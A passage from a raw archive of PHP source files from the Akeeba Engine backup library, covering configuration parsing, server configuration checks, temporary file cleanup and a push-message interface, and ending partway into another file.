								$param[$option_key] = Platform::getInstance()->translate($option_value);
								break;

							case 'enumkeys':
								$enumkeys = explode('|', $option_value);
								$new_keys = [];
								foreach ($enumkeys as $old_key)
								{
									$new_keys[] = Platform::getInstance()->translate($old_key);
								}
								$param[$option_key] = implode('|', $new_keys);
								break;

							case 'showon':
								$param[$option_key] = $this->parseShowOnConditions($param[$option_key]);

							default:
						}
					}

					$parameters[$param_key] = $param;
				}

				// Add processed parameters
				$tempArray[$engine_name]['parameters'] = $parameters;
			}

			asort($engineTitles);

			foreach ($engineTitles as $engineName => $title)
			{
				$json_array['engines'][$type][$engineName] = $tempArray[$engineName];
			}
		}

		// Get data for GUI elements
		$json_array['gui'] = [];
		$groupdefs         = $this->getGUIGroups();

		foreach ($groupdefs as $groupKey => $definition)
		{
			$group_name = '';

			if (isset($definition['information']) && isset($definition['information']['description']))
			{
				$group_name = Platform::getInstance()->translate($definition['information']['description']);
			}

			// Skip no-name groups
			if (empty($group_name))
			{
				continue;
			}

			$parameters = [];

			foreach ($definition['parameters'] as $param_key => $param)
			{
				$param['default'] = $configuration->get($param_key, $param['default'], false);

				foreach ($param as $option_key => $option_value)
				{
					// Translate title, description, enumkeys
					switch ($option_key)
					{
						case 'title':
						case 'description':
						case 'content':
							$param[$option_key] = Platform::getInstance()->translate($option_value);
							break;

						case 'enumkeys':
							$enumkeys = explode('|', $option_value);
							$new_keys = [];
							foreach ($enumkeys as $old_key)
							{
								$new_keys[] = Platform::getInstance()->translate($old_key);
							}
							$param[$option_key] = implode('|', $new_keys);
							break;

						default:
					}
				}
				$parameters[$param_key] = $param;
			}
			$json_array['gui'][$group_name] = $parameters;
		}

		// Get data for the installers
		$json_array['installers'] = $this->getInstallerList(true);

		uasort($json_array['installers'], function ($a, $b) {
			if ($a['name'] == $b['name'])
			{
				return 0;
			}

			return ($a['name'] < $b['name']) ? -1 : 1;
		});

		$json = json_encode($json_array);

		return $json;
	}

	/**
	 * Returns a volatile scripting parameter for the active backup type
	 *
	 * @param   string  $key      The relative key, e.g. core.createarchive
	 * @param   mixed   $default  Default value
	 *
	 * @return  mixed  The scripting parameter's value
	 */
	public function getScriptingParameter(string $key, $default = null)
	{
		$configuration = Factory::getConfiguration();

		if (is_null($this->activeType))
		{
			$this->activeType = $configuration->get('akeeba.basic.backup_type', 'full');
		}

		return $configuration->get('volatile.scripting.' . $this->activeType . '.' . $key, $default);
	}

	/**
	 * Imports the volatile scripting parameters to the registry
	 *
	 * @return  void
	 */
	public function importScriptingToRegistry(): void
	{
		$scripting     = $this->loadScripting();
		$configuration = Factory::getConfiguration();
		$configuration->mergeArray($scripting['data'], false);
	}

	/**
	 * Loads the scripting.json and returns an array with the domains, the scripts and the raw data
	 *
	 * @return  array  The parsed scripting.json. Array keys: domains, scripts, data
	 */
	public function loadScripting(?string $jsonPath = ''): ?array
	{
		if (!empty($this->scripting))
		{
			return $this->scripting;
		}

		$this->scripting = [];
		$jsonPath        = $jsonPath ?: Factory::getAkeebaRoot() . '/Core/scripting.json';

		if (!@file_exists($jsonPath))
		{
			return $this->scripting;
		}

		$rawData          = file_get_contents($jsonPath);
		$rawScriptingData = empty($rawData) ? [] : json_decode($rawData, true);
		$domain_keys      = explode('|', $rawScriptingData['volatile.akeebaengine.domains']);
		$domains          = [];

		foreach ($domain_keys as $key)
		{
			$record        = [
				'domain' => $rawScriptingData['volatile.domain.' . $key . '.domain'],
				'class'  => $rawScriptingData['volatile.domain.' . $key . '.class'],
				'text'   => $rawScriptingData['volatile.domain.' . $key . '.text'],
			];
			$domains[$key] = $record;
		}

		$script_keys = explode('|', $rawScriptingData['volatile.akeebaengine.scripts']);
		$scripts     = [];

		foreach ($script_keys as $key)
		{
			$record        = [
				'chain' => explode('|', $rawScriptingData['volatile.scripting.' . $key . '.chain']),
				'text'  => $rawScriptingData['volatile.scripting.' . $key . '.text'],
			];
			$scripts[$key] = $record;
		}

		$this->scripting = [
			'domains' => $domains,
			'scripts' => $scripts,
			'data'    => $rawScriptingData,
		];

		return $this->scripting;
	}

	/**
	 * Parses an engine JSON file returning two arrays, one with the general information
	 * of that engine and one with its configuration variables' definitions
	 *
	 * @param   string  $jsonPath     Absolute path to engine JSON file
	 * @param   array   $information  [out] The engine information hash array
	 * @param   array   $parameters   [out] The parameters hash array
	 *
	 * @return  bool  True if the file was loaded
	 */
	public function parseEngineJSON(string $jsonPath, array &$information, array &$parameters): bool
	{
		if (!file_exists($jsonPath))
		{
			return false;
		}

		$information = [
			'title'       => '',
			'description' => '',
		];

		$parameters = [];

		$rawData  = file_get_contents($jsonPath);
		$jsonData = empty($rawData) ? [] : json_decode($rawData, true);

		foreach ($jsonData ?? [] as $section => $data)
		{
			if (is_array($data))
			{
				if ($section == '_information')
				{
					// Parse information
					foreach ($data as $key => $value)
					{
						$information[$key] = $value;
					}
				}
				elseif (substr($section, 0, 1) != '_')
				{
					// Parse parameters
					$newparam = [
						'title'       => '',
						'description' => '',
						'type'        => 'string',
						'default'     => '',
					];

					foreach ($data as $key => $value)
					{
						$newparam[$key] = $value;
					}
					$parameters[$section] = $newparam;
				}
			}
		}

		return true;
	}

	/**
	 * Parses a graphical interface JSON file returning two arrays, one with the general
	 * information of that configuration section and one with its configuration variables'
	 * definitions.
	 *
	 * @param   string  $jsonPath     Absolute path to engine JSON file
	 * @param   array   $information  [out] The GUI information hash array
	 * @param   array   $parameters   [out] The parameters hash array
	 *
	 * @return bool True if the file was loaded
	 */
	public function parseInterfaceJSON(string $jsonPath, array &$information, array &$parameters): bool
	{
		if (!file_exists($jsonPath))
		{
			return false;
		}

		$information = [
			'description' => '',
		];

		$parameters = [];
		$rawData    = file_get_contents($jsonPath);
		$jsonData   = empty($rawData) ? [] : json_decode($rawData, true);

		foreach ($jsonData as $section => $data)
		{
			if (is_array($data))
			{
				if ($section == '_group')
				{
					// Parse information
					foreach ($data as $key => $value)
					{
						$information[$key] = $value;
					}

					continue;
				}

				if (substr($section, 0, 1) != '_')
				{
					// Parse parameters
					$newparam = [
						'title'       => '',
						'description' => '',
						'type'        => 'string',
						'default'     => '',
						'protected'   => 0,
					];

					foreach ($data as $key => $value)
					{
						$newparam[$key] = $value;
					}

					$parameters[$section] = $newparam;
				}
			}
		}

		return true;
	}

	/**
	 * Add a path to the beginning of the paths list for a specific section
	 *
	 * @param   string  $path     Absolute filesystem path to add
	 * @param   string  $section  The section to add it to (gui, engine, installer, filters)
	 *
	 * @return  void
	 */
	public function prependPath(string $path, string $section = 'gui'): void
	{
		$path = Factory::getFilesystemTools()->TranslateWinPath($path);

		// If the array is empty, populate with the defaults
		if (!array_key_exists($section, $this->enginePartPaths))
		{
			$this->getEnginePartPaths($section);
		}

		// If the path doesn't already exist, add it
		if (!in_array($path, $this->enginePartPaths[$section]))
		{
			array_unshift($this->enginePartPaths[$section], $path);
		}
	}

	/**
	 * Parse the `showon` conditions text into an instructions array for the ShowOn JavaScript
	 *
	 * @param   string|null  $showOn     The `showon` conditions text
	 * @param   string|null  $arrayName  The array all of our parameters are members of, default 'var'.
	 *
	 * @return  array  The ShowOn JavaScript instructions
	 *
	 * @since   9.3.1
	 */
	private function parseShowOnConditions(?string $showOn, ?string $arrayName = 'var'): array
	{
		if (empty($showOn))
		{
			return [];
		}

		$showOnData  = [];
		$showOnParts = preg_split('#(\[AND\]|\[OR\])#', $showOn, -1, PREG_SPLIT_DELIM_CAPTURE);
		$op          = '';

		foreach ($showOnParts as $showOnPart)
		{
			if (in_array($showOnPart, ['[AND]', '[OR]']))
			{
				$op = trim($showOnPart, '[]');

				continue;
			}

			$compareEqual     = strpos($showOnPart, '!:') === false;
			$showOnPartBlocks = explode(($compareEqual ? ':' : '!:'), $showOnPart, 2);

			$field = $arrayName
				? sprintf("%s[%s]", $arrayName, $showOnPartBlocks[0])
				: $showOnPartBlocks[0];

			$showOnData[] = [
				'field'  => $field,
				'values' => explode(',', $showOnPartBlocks[1]),
				'sign'   => $compareEqual === true ? '=' : '!=',
				'op'     => $op,
			];

			$op = '';
		}

		return $showOnData;
	}
}
PK     \m?  ?  7  vendor/akeeba/engine/engine/Util/ConfigurationCheck.phpnu [        <?php
/**
 * Akeeba Engine
 *
 * @package   akeebaengine
 * @copyright Copyright (c)2006-2026 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   https://www.gnu.org/licenses/gpl-3.0.html GNU General Public License version 3, or later
 *
 * This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public
 * License as published by the Free Software Foundation, version 3.
 *
 * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied
 * warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details.
 *
 * You should have received a copy of the GNU General Public License along with this program. If not, see
 * <https://www.gnu.org/licenses/>.
 */

namespace Akeeba\Engine\Util;

defined('AKEEBAENGINE') || die();

use Akeeba\Engine\Factory;
use Akeeba\Engine\Platform;

/**
 * Quirk detection helper class
 */
class ConfigurationCheck
{
	/**
	 * The configuration checks to perform
	 *
	 * @var  array
	 */
	protected $configurationChecks = [
		['code'        => '001', 'severity' => 'critical', 'callback' => [null, 'q001'],
		 'description' => 'COM_AKEEBA_CPANEL_WARNING_Q001',
		],
		['code'        => '003', 'severity' => 'critical', 'callback' => [null, 'q003'],
		 'description' => 'COM_AKEEBA_CPANEL_WARNING_Q003',
		],
		['code'        => '004', 'severity' => 'critical', 'callback' => [null, 'q004'],
		 'description' => 'COM_AKEEBA_CPANEL_WARNING_Q004',
		],

		['code'        => '101', 'severity' => 'high', 'callback' => [null, 'q101'],
		 'description' => 'COM_AKEEBA_CPANEL_WARNING_Q101',
		],
		['code'        => '103', 'severity' => 'high', 'callback' => [null, 'q103'],
		 'description' => 'COM_AKEEBA_CPANEL_WARNING_Q103',
		],
		['code'        => '104', 'severity' => 'high', 'callback' => [null, 'q104'],
		 'description' => 'COM_AKEEBA_CPANEL_WARNING_Q104',
		],
		['code'        => '106', 'severity' => 'high', 'callback' => [null, 'q106'],
		 'description' => 'COM_AKEEBA_CPANEL_WARNING_Q106',
		],
		['code'        => '107', 'severity' => 'high', 'callback' => [null, 'q107'],
		 'description' => 'COM_AKEEBA_CPANEL_WARNING_Q107',
		],

		['code'        => '201', 'severity' => 'medium', 'callback' => [null, 'q201'],
		 'description' => 'COM_AKEEBA_CPANEL_WARNING_Q201',
		],
		['code'        => '202', 'severity' => 'medium', 'callback' => [null, 'q202'],
		 'description' => 'COM_AKEEBA_CPANEL_WARNING_Q202',
		],
		['code'        => '204', 'severity' => 'medium', 'callback' => [null, 'q204'],
		 'description' => 'COM_AKEEBA_CPANEL_WARNING_Q204',
		],

		['code'        => '203', 'severity' => 'medium', 'callback' => [null, 'q203'],
		 'description' => 'COM_AKEEBA_CPANEL_WARNING_Q203',
		],
//		['code'        => '401', 'severity' => 'low', 'callback' => [null, 'q401'],
//		 'description' => 'COM_AKEEBA_CPANEL_WARNING_Q401',
//		],
	];

	/**
	 * The public constructor replaces the missing object reference in the configuration check callbacks
	 */
	function __construct()
	{
		$temp = [];

		foreach ($this->configurationChecks as $check)
		{
			$check['callback'] = [$this, $check['callback'][1]];
			$temp[]            = $check;
		}

		$this->configurationChecks = $temp;
	}

	/**
	 * Returns the output & temporary folder writable status
	 *
	 * @return  array  A hash array with the writable status
	 */
	public function getFolderStatus()
	{
		static $status = null;

		if (is_null($status))
		{
			$stock_dirs = Platform::getInstance()->get_stock_directories();

			// Get output writable status
			$registry = Factory::getConfiguration();
			$outdir   = $registry->get('akeeba.basic.output_directory');

			foreach ($stock_dirs as $macro => $replacement)
			{
				$outdir = str_replace($macro, $replacement, $outdir);
			}

			$status['output'] = @is_writable($outdir);
		}

		return $status;
	}

	/**
	 * Returns the overall status. It's true when both the temporary and output directories are writable and there are
	 * no critical configuration check failures.
	 *
	 * @return  boolean
	 */
	public function getShortStatus()
	{
		// Base the status on directory writeable status
		$status = $this->getFolderStatus();
		$ret    = $status['output'];

		// Scan for high severity configuration check errors
		$detailedStatus = $this->getDetailedStatus();

		if (!empty($detailedStatus))
		{
			foreach ($detailedStatus as $configCheck)
			{
				if ($configCheck['severity'] == 'critical')
				{
					$ret = false;
				}
			}
		}

		// Return status
		return $ret;
	}

	/**
	 * Add a configuration check definition
	 *
	 * @param   string  $code         The configuration check code (three digit number)
	 * @param   string  $severity     The severity (low, medium, high, critical)
	 * @param   string  $description  The description key for this configuration check
	 * @param   null    $callback     The callback used to determine the status of the configuration check
	 *
	 * @return  void
	 */
	public function addConfigurationCheckDefinition($code, $severity = 'low', $description = null, $callback = null)
	{
		if (!is_callable($callback))
		{
			$callback = [$this, 'q' . $code];
		}

		if (empty($description))
		{
			$description = 'COM_AKEEBA_CPANEL_WARNING_Q' . $code;
		}

		$newConfigurationCheck = [
			'code'        => $code,
			'severity'    => $severity,
			'description' => $description,
			'callback'    => $callback,
		];

		$this->configurationChecks[$code] = $newConfigurationCheck;
	}

	/**
	 * Remove a configuration check definition
	 *
	 * @param   string  $code  The code of the configuration check to remove
	 *
	 * @return  void
	 */
	public function removeConfigurationCheckDefinition($code)
	{
		if (isset($this->configurationChecks[$code]))
		{
			unset($this->configurationChecks[$code]);
		}
	}

	/**
	 * Clear the configuration check definitions
	 *
	 * @return  void
	 */
	public function clearConfigurationCheckDefinitions()
	{
		$this->configurationChecks = [];
	}

	/**
	 * Runs the configuration check scripts. These are potential problems related to server
	 * configuration, out of Akeeba's control. They are intended to give the user a
	 * chance to fix them before they cause the backup to fail.
	 *
	 * Numbering scheme:
	 * Q0xx    No-go errors
	 * Q1xx    Critical system configuration errors
	 * Q2xx    Medium and low system configuration warnings
	 * Q3xx    Critical software configuration errors
	 * Q4xx    Medium and low component configuration warnings
	 *
	 * @param   boolean  $low_priority       Should I include low priority quirks?
	 * @param   string   $help_url_template  The sprintf template from creating a help URL from a config check code
	 *
	 * @return  array
	 */
	public function getDetailedStatus($low_priority = false, $help_url_template = 'https://www.akeeba.com/documentation/warnings/q%s.html')
	{
		static $detailedStatus = null;

		if (is_null($detailedStatus) || $low_priority)
		{
			$detailedStatus = [];

			foreach ($this->configurationChecks as $quirkDef)
			{
				if (!$low_priority && ($quirkDef['severity'] == 'low'))
				{
					continue;
				}

				$this->checkConfiguration($detailedStatus, $quirkDef, $help_url_template);
			}
		}

		return $detailedStatus;
	}

	/**
	 * Checks if a path is restricted by open_basedirs
	 *
	 * @param   string  $check  The path to check
	 *
	 * @return  bool  True if the path is restricted (which is bad)
	 */
	public function checkOpenBasedirs($check)
	{
		static $paths;

		if (empty($paths))
		{
			$open_basedir = ini_get('open_basedir');

			if (empty($open_basedir))
			{
				return false;
			}

			$delimiter  = strpos($open_basedir, ';') !== false ? ';' : ':';
			$paths_temp = explode($delimiter, $open_basedir);

			// Some open_basedirs are using environment variables
			$paths = [];

			foreach ($paths_temp as $path)
			{
				if (array_key_exists($path, $_ENV))
				{
					$paths[] = $_ENV[$path];
				}
				else
				{
					$paths[] = $path;
				}
			}
		}

		if (empty($paths))
		{
			return false; // no restrictions
		}
		else
		{
			$newcheck = @realpath($check); // Resolve symlinks, like PHP does

			if (!($newcheck === false))
			{
				$check = $newcheck;
			}

			$included = false;

			foreach ($paths as $path)
			{
				/**
				 * This catches the empty path caused by open_basedir values with a trailing colon.
				 *
				 * For example, `/var/www:/tmp:` is THREE directories: /var/www, /tmp, and an empty directory. Yes, it
				 * is invalid. Yes, people are stupid.
				 */
				if (empty($path))
				{
					continue;
				}

				/**
				 * The try-catch here will catch any other kind of invalid path. For example, we may get a $path with
				 * NULL bytes, or pointing to an invalid / inaccessible location which doesn't just return FALSE but
				 * causes realpath() to throw.
				 *
				 * For our purposes, we want to skip any invalid paths and continue checking the rest.
				 */
				try
				{
					$newpath = @realpath($path);
				}
				catch (\Throwable $e)
				{
					continue;
				}

				if (!($newpath === false))
				{
					$path = $newpath;
				}

				if (strlen($check) >= strlen($path))
				{
					/**
					 * Only check if the path to check is longer than the inclusion path. Shorter paths are, by
					 * definition, not included (e.g. a 10-character path cannot be under a 15-character parent path).
					 * If the path to check begins with an inclusion path we consider it permitted
					 */
					if (substr($check, 0, strlen($path)) == $path)
					{
						$included = true;
					}
				}
			}

			return !$included;
		}
	}

	/**
	 * Make a configuration check and adds it to the list if it raises a warning / error
	 *
	 * @param   array   $detailedStatus     The configuration checks status array
	 * @param   array   $quirkDef           The configuration check definition
	 * @param   string  $help_url_template  The sprintf template from creating a help URL from a quirk code
	 *
	 * @return  void
	 */
	protected function checkConfiguration(&$detailedStatus, $quirkDef, $help_url_template)
	{
		if (call_user_func($quirkDef['callback']))
		{
			$description = Platform::getInstance()->translate($quirkDef['description']);

			$detailedStatus[(string) $quirkDef['code']] = [
				'code'        => $quirkDef['code'],
				'severity'    => $quirkDef['severity'],
				'description' => $description,
				'help_url'    => sprintf($help_url_template, $quirkDef['code']),
			];
		}
	}

	/**
	 * Q001 - HIGH - Output directory unwriteable
	 *
	 * @return  bool
	 */
	private function q001()
	{
		$status = $this->getFolderStatus();

		return !$status['output'];
	}

	/**
	 * Q003 - HIGH - Backup output or temporary set to site's root
	 *
	 * @return  bool
	 */
	private function q003()
	{
		$stock_dirs = Platform::getInstance()->get_stock_directories();

		$registry = Factory::getConfiguration();
		$outdir   = $registry->get('akeeba.basic.output_directory');

		foreach ($stock_dirs as $macro => $replacement)
		{
			$outdir = str_replace($macro, $replacement, $outdir);
		}

		$outdir_real = @realpath($outdir);

		if (!empty($outdir_real))
		{
			$outdir = $outdir_real;
		}

		$siteroot      = Platform::getInstance()->get_site_root();
		$siteroot_real = @realpath($siteroot);

		if (!empty($siteroot_real))
		{
			$siteroot = $siteroot_real;
		}

		return ($siteroot == $outdir);
	}

	/**
	 * Q004 - HIGH - Free memory too low
	 *
	 * @return bool
	 */
	private function q004()
	{
		// If we can't figure this out, don't report a problem. It doesn't
		// really matter, as the backup WILL crash eventually.
		if (!function_exists('ini_get'))
		{
			return false;
		}

		$memLimit = ini_get("memory_limit");
		$memLimit = $this->_return_bytes($memLimit);

		if ($memLimit <= 0)
		{
			return false;
		}

		// No limit?
		$availableRAM = $memLimit - memory_get_usage();

		// We need at least 12Mb of free memory
		return ($availableRAM <= (12 * 1024 * 1024));
	}

	/**
	 * Q101 - HIGH - open_basedir on output directory
	 *
	 * @return  bool
	 */
	private function q101()
	{
		$stock_dirs = Platform::getInstance()->get_stock_directories();

		// Get output writable status
		$registry = Factory::getConfiguration();
		$outdir   = $registry->get('akeeba.basic.output_directory');

		foreach ($stock_dirs as $macro => $replacement)
		{
			$outdir = str_replace($macro, $replacement, $outdir);
		}

		return $this->checkOpenBasedirs($outdir);
	}

	/**
	 * Q103 - HIGH - Less than 10" of max_execution_time with PHP Safe Mode enabled
	 *
	 * @return  bool
	 */
	private function q103()
	{
		$exectime = ini_get('max_execution_time');
		$safemode = ini_get('safe_mode');

		if (!$safemode)
		{
			return false;
		}

		if (!is_numeric($exectime))
		{
			return false;
		}

		if ($exectime <= 0)
		{
			return false;
		}

		return $exectime < 10;
	}

	/**
	 * Q104 - HIGH - Temp directory is the same as the site's root
	 *
	 * @return  bool
	 */
	private function q104()
	{

		$siteroot      = Platform::getInstance()->get_site_root();
		$siteroot_real = @realpath($siteroot);

		if (!empty($siteroot_real))
		{
			$siteroot = $siteroot_real;
		}

		$stockDirs      = Platform::getInstance()->get_stock_directories();
		$temp_directory = $stockDirs['[SITETMP]'];
		$temp_directory = @realpath($temp_directory);

		if (empty($temp_directory))
		{
			$temp_directory = $siteroot;
		}

		return ($siteroot == $temp_directory);
	}

	/**
	 * Q106 - HIGH  - Table name prefix contains uppercase characters
	 *
	 * @return  bool
	 */
	private function q106()
	{
		$filters   = Factory::getFilters();
		$databases = $filters->getInclusions('db');

		foreach ($databases as $db)
		{
			if (!isset($db['prefix']))
			{
				continue;
			}

			if (preg_match('/[A-Z]/', $db['prefix']))
			{
				return true;
			}
		}

		return false;
	}

	/**
	 * Q107 - HIGH  - Using bak_ as the database table name prefix
	 *
	 * @return  bool
	 */
	private function q107()
	{
		$filters   = Factory::getFilters();
		$databases = $filters->getInclusions('db');

		foreach ($databases as $db)
		{
			if (!isset($db['prefix']))
			{
				continue;
			}

			if ($db['prefix'] === 'bak_')
			{
				return true;
			}
		}

		return false;

	}

	/**
	 * Q201 - MEDIUM - Outdated PHP version.
	 *
	 * We currently check for PHP lower than 8.0.
	 *
	 * @return  bool
	 */
	private function q201()
	{
		return version_compare(PHP_VERSION, '8.0.0', 'lt');
	}

	/**
	 * Q202 - MED  - CRC problems with hash extension not present
	 *
	 * @return  bool
	 */
	private function q202()
	{
		$registry = Factory::getConfiguration();
		$archiver = $registry->get('akeeba.advanced.archiver_engine');

		if ($archiver != 'zip')
		{
			return false;
		}

		return !function_exists('hash_file');
	}

	/**
	 * Q203 - MED  - Default output directory in use
	 *
	 * @return  bool
	 */
	private function q203()
	{
		$stock_dirs = Platform::getInstance()->get_stock_directories();

		$registry = Factory::getConfiguration();
		$outdir   = $registry->get('akeeba.basic.output_directory');

		foreach ($stock_dirs as $macro => $replacement)
		{
			$outdir = str_replace($macro, $replacement, $outdir);
		}

		$default = $stock_dirs['[DEFAULT_OUTPUT]'];

		$outdir  = Factory::getFilesystemTools()->TranslateWinPath($outdir);
		$default = Factory::getFilesystemTools()->TranslateWinPath($default);

		return $outdir == $default;
	}

	/**
	 * Q204 - MED  - Disabled functions may affect operation
	 *
	 * @return  bool
	 */
	private function q204()
	{
		$disabled = ini_get('disabled_functions');

		return (!empty($disabled));
	}

	/**
	 * Q401 - LOW  - ZIP format selected
	 *
	 * @return  bool
	 */
	private function q401()
	{
		$registry = Factory::getConfiguration();
		$archiver = $registry->get('akeeba.advanced.archiver_engine');

		return $archiver == 'zip';
	}

	private function _return_bytes($setting)
	{
		$val  = trim($setting);
		$last = strtolower(substr($val, -1));
		$val  = substr($val, 0, -1);

		if (is_numeric($last))
		{
			return $setting;
		}

		switch ($last)
		{
			case 't':
				$val *= 1024;
			case 'g':
				$val *= 1024;
			case 'm':
				$val *= 1024;
			case 'k':
				$val *= 1024;
		}

		return (int) $val;
	}
}
PK     \	%)b  b  3  vendor/akeeba/engine/engine/Util/TemporaryFiles.phpnu [        <?php
/**
 * Akeeba Engine
 *
 * @package   akeebaengine
 * @copyright Copyright (c)2006-2026 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   https://www.gnu.org/licenses/gpl-3.0.html GNU General Public License version 3, or later
 *
 * This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public
 * License as published by the Free Software Foundation, version 3.
 *
 * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied
 * warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details.
 *
 * You should have received a copy of the GNU General Public License along with this program. If not, see
 * <https://www.gnu.org/licenses/>.
 */

namespace Akeeba\Engine\Util;

defined('AKEEBAENGINE') || die();

use Akeeba\Engine\Factory;

/**
 * Temporary files management class. Handles creation, tracking and cleanup.
 */
class TemporaryFiles
{

	/**
	 * Creates a randomly-named temporary file, registers it with the temporary
	 * files management and returns its absolute path
	 *
	 * @return  string  The temporary file name
	 */
	public function createRegisterTempFile()
	{
		// Create a randomly named file in the temp directory
		$registry = Factory::getConfiguration();
		$tempFile = tempnam($registry->get('akeeba.basic.output_directory'), 'ak');

		// Register it and return its absolute path
		$tempName = basename($tempFile);

		return Factory::getTempFiles()->registerTempFile($tempName);
	}

	/**
	 * Registers a temporary file with the Akeeba Engine, storing the list of temporary files
	 * in another temporary flat database file.
	 *
	 * @param   string  $fileName  The path of the file, relative to the temporary directory
	 *
	 * @return  string  The absolute path to the temporary file, for use in file operations
	 */
	public function registerTempFile($fileName)
	{
		$configuration = Factory::getConfiguration();
		$tempFiles     = $configuration->get('volatile.tempfiles', false);
		if ($tempFiles === false)
		{
			$tempFiles = [];
		}
		else
		{
			$tempFiles = @unserialize($tempFiles);

			if ($tempFiles === false)
			{
				$tempFiles = [];
			}
		}

		if (!in_array($fileName, $tempFiles))
		{
			$tempFiles[] = $fileName;
			$configuration->set('volatile.tempfiles', serialize($tempFiles));
		}

		return Factory::getFilesystemTools()->TranslateWinPath($configuration->get('akeeba.basic.output_directory') . '/' . $fileName);
	}

	/**
	 * Unregister and delete a temporary file
	 *
	 * @param   string  $fileName      The filename to unregister and delete
	 * @param   bool    $removePrefix  The prefix to remove
	 *
	 * @return  bool  True on success
	 */
	public function unregisterAndDeleteTempFile($fileName, $removePrefix = false)
	{
		$configuration = Factory::getConfiguration();

		if ($removePrefix)
		{
			$fileName = str_replace(Factory::getFilesystemTools()->TranslateWinPath($configuration->get('akeeba.basic.output_directory')), '', $fileName);

			if ((substr($fileName, 0, 1) == '/') || (substr($fileName, 0, 1) == '\\'))
			{
				$fileName = substr($fileName, 1);
			}

			if ((substr($fileName, -1) == '/') || (substr($fileName, -1) == '\\'))
			{
				$fileName = substr($fileName, 0, -1);
			}
		}

		// Make sure this file is registered
		$configuration = Factory::getConfiguration();

		$serialised = $configuration->get('volatile.tempfiles', false);
		$tempFiles  = [];

		if ($serialised !== false)
		{
			$tempFiles = @unserialize($serialised);
		}

		if (!is_array($tempFiles))
		{
			return false;
		}

		if (!in_array($fileName, $tempFiles))
		{
			return false;
		}

		$file = $configuration->get('akeeba.basic.output_directory') . '/' . $fileName;
		Factory::getLog()->debug("-- Removing temporary file $fileName");
		$platform = strtoupper(PHP_OS);

		// Chown normally doesn't work on Windows but many years ago I found it necessary to delete temp files. No idea.
		if ((substr($platform, 0, 6) == 'CYGWIN') || (substr($platform, 0, 3) == 'WIN'))
		{
			// On Windows we have to chown() the file first to make it owned by Nobody
			Factory::getLog()->debug("-- Windows hack: chowning $fileName");
			@chown($file, 600);
		}

		$result = @$this->nullifyAndDelete($file);

		// Make sure the file is removed before unregistering it
		if (!@file_exists($file))
		{
			$aPos = array_search($fileName, $tempFiles);

			if ($aPos !== false)
			{
				unset($tempFiles[$aPos]);

				$configuration->set('volatile.tempfiles', serialize($tempFiles));
			}
		}

		return $result;
	}


	/**
	 * Deletes all temporary files
	 *
	 * @return  void
	 */
	public function deleteTempFiles()
	{
		$configuration = Factory::getConfiguration();

		$serialised = $configuration->get('volatile.tempfiles', false);
		$tempFiles  = [];

		if ($serialised !== false)
		{
			$tempFiles = @unserialize($serialised);
		}

		if (!is_array($tempFiles))
		{
			$tempFiles = [];
		}

		$fileName = null;

		if (!empty($tempFiles))
		{
			foreach ($tempFiles as $fileName)
			{
				Factory::getLog()->debug("-- Removing temporary file $fileName");
				$file     = $configuration->get('akeeba.basic.output_directory') . '/' . $fileName;
				$platform = strtoupper(PHP_OS);

				// Chown normally doesn't work on Windows but many years ago I found it necessary to delete temp files. No idea.
				if ((substr($platform, 0, 6) == 'CYGWIN') || (substr($platform, 0, 3) == 'WIN'))
				{
					// On Windows we have to chwon() the file first to make it owned by Nobody
					@chown($file, 600);
				}

				$ret = @$this->nullifyAndDelete($file);
			}
		}

		$tempFiles = [];
		$configuration->set('volatile.tempfiles', serialize($tempFiles));
	}

	/**
	 * Nullify the contents of the file and try to delete it as well
	 *
	 * @param   string  $filename  The absolute path to the file to delete
	 *
	 * @return  bool  True of the deletion is successful
	 */
	public function nullifyAndDelete($filename)
	{
		// Try to nullify (method #1)
		$fp = @fopen($filename, 'w');

		if (is_resource($fp))
		{
			@fclose($fp);
		}
		else
		{
			// Try to nullify (method #2)
			@file_put_contents($filename, '');
		}

		// Unlink
		return @unlink($filename);
	}
}
PK     \|q    :  vendor/akeeba/engine/engine/Util/PushMessagesInterface.phpnu [        <?php
/**
 * Akeeba Engine
 *
 * @package   akeebaengine
 * @copyright Copyright (c)2006-2026 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   https://www.gnu.org/licenses/gpl-3.0.html GNU General Public License version 3, or later
 *
 * This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public
 * License as published by the Free Software Foundation, version 3.
 *
 * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied
 * warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details.
 *
 * You should have received a copy of the GNU General Public License along with this program. If not, see
 * <https://www.gnu.org/licenses/>.
 */

/**
 * @package     Akeeba\Engine\Util
 * @subpackage
 *
 * @copyright   A copyright
 * @license     A "Slug" license name e.g. GPL2
 */

namespace Akeeba\Engine\Util;

defined('AKEEBAENGINE') || die();

interface PushMessagesInterface
{
	/**
	 * Sends a push message to all connected devices. The intent is to provide the user with an information message,
	 * e.g. notify them about the progress of the backup.
	 *
	 * @param   string  $subject  The subject of the message, shown in the lock screen. Keep it short.
	 * @param   string  $details  Long(er) description of what the message is about. Plain text (no HTML).
	 *
	 * @return  void
	 */
	public function message($subject, $details = null);

	/**
	 * Sends a push message, containing a URL/URI, to all connected devices. The URL will be rendered as something
	 * clickable on most devices.
	 *
	 * @param   string  $url      The URL/URI
	 * @param   string  $subject  The subject of the message, shown in the lock screen. Keep it short.
	 * @param   string  $details  Long(er) description of what the message is about. Plain text (no HTML).
	 *
	 * @return  void
	 */
	public function link($url, $subject, $details = null);
}PK     \>ot  t  -  vendor/akeeba/engine/engine/Util/ParseIni.phpnu [        <?php
/**
 * Akeeba Engine
 *
 * @package   akeebaengine
 * @copyright Copyright (c)2006-2026 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   https://www.gnu.org/licenses/gpl-3.0.html GNU General Public License version 3, or later
 *
 * This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public
 * License as published by the Free Software Foundation, version 3.
 *
 * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied
